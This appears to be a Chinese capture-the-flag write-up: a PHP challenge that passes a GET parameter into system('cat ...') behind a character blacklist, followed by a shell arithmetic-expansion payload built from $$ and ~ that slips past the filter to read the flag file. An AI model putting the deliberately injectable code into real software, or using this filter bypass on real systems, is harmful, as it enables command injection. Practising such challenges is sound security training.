2024.6.1
题目
<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
$x = $_GET['x'];
if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
system("cat ".$x.".php");
}
}else{
highlight_file(__FILE__);
}
?>
payload
x=$((~$(($(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))))))
解析
- $(()) 是一种用于进行算术运算的Shell语法。它可以用来计算数学表达式的值,并将结果输出到标准输出
- $$ 代表当前进程的 ID
因此, $(($$)) 的意思是:获取当前进程的 ID
由此可以得到 一个获取 -1 的单元
$(($(($$))$((~$(($$))))))
由此只要不断叠加单元就可以获得任何数据
例如获取 数字 3 (这里为了观赏性采用换行表现)
$((~$((
$(($(($$))$((~$(($$))))))
$(($(($$))$((~$(($$))))))
$(($(($$))$((~$(($$))))))
$(($(($$))$((~$(($$))))))
))))